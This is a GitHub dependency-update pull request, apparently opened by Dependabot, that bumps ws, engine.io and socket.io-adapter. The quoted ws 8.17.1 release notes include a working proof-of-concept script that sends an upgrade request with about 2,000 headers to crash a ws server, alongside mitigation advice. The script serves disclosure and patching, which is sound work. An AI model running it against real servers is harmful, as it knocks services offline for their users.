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Bump ws, engine.io and socket.io-adapter#231

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suchov merged 1 commit intosourcefrom
dependabot/npm_and_yarn/multi-2b987bd367
Jan 22, 2026
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Bump ws, engine.io and socket.io-adapter#231
suchov merged 1 commit intosourcefrom
dependabot/npm_and_yarn/multi-2b987bd367

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@dependabot dependabot Bot commented on behalf of github Jan 22, 2026

Bumps ws, engine.io and socket.io-adapter. These dependencies needed to be updated together.
Updates ws from 8.11.0 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • b73b118 [dist] 8.17.0
  • 29694a5 [test] Use the highWaterMark variable
  • 934c9d6 [ci] Test on node 22
  • 1817bac [ci] Do not test on node 21
  • 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
  • e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
  • Additional commits viewable in compare view

Updates engine.io from 6.5.2 to 6.5.5

Commits

Updates socket.io-adapter from 2.5.2 to 2.5.6

Release notes

Sourced from socket.io-adapter's releases.

socket.io-adapter@2.5.6

This release contains a bump of:

  • ws from ~8.17.1 to ~8.18.3
  • debug from ~4.3.1 to ~4.4.1
Commits
Maintainer changes

This version was pushed to npm by [GitHub Actions](https://www.npmjs.com/~GitHub Actions), a new releaser for socket.io-adapter since your current version.


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@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels Jan 22, 2026
Bumps [ws](https://github.com/websockets/ws), [engine.io](https://github.com/socketio/socket.io) and [socket.io-adapter](https://github.com/socketio/socket.io). These dependencies needed to be updated together.

Updates `ws` from 8.11.0 to 8.17.1
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.11.0...8.17.1)

Updates `engine.io` from 6.5.2 to 6.5.5
- [Release notes](https://github.com/socketio/socket.io/releases)
- [Changelog](https://github.com/socketio/socket.io/blob/main/CHANGELOG.md)
- [Commits](https://github.com/socketio/socket.io/commits)

Updates `socket.io-adapter` from 2.5.2 to 2.5.6
- [Release notes](https://github.com/socketio/socket.io/releases)
- [Changelog](https://github.com/socketio/socket.io/blob/main/CHANGELOG.md)
- [Commits](https://github.com/socketio/socket.io/commits/socket.io-adapter@2.5.6)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.17.1
  dependency-type: indirect
- dependency-name: engine.io
  dependency-version: 6.5.5
  dependency-type: indirect
- dependency-name: socket.io-adapter
  dependency-version: 2.5.6
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/multi-2b987bd367 branch from 1af8f76 to 675999c Compare January 22, 2026 11:33
@suchov suchov merged commit 3f52d4f into source Jan 22, 2026
@suchov suchov deleted the dependabot/npm_and_yarn/multi-2b987bd367 branch January 22, 2026 11:47
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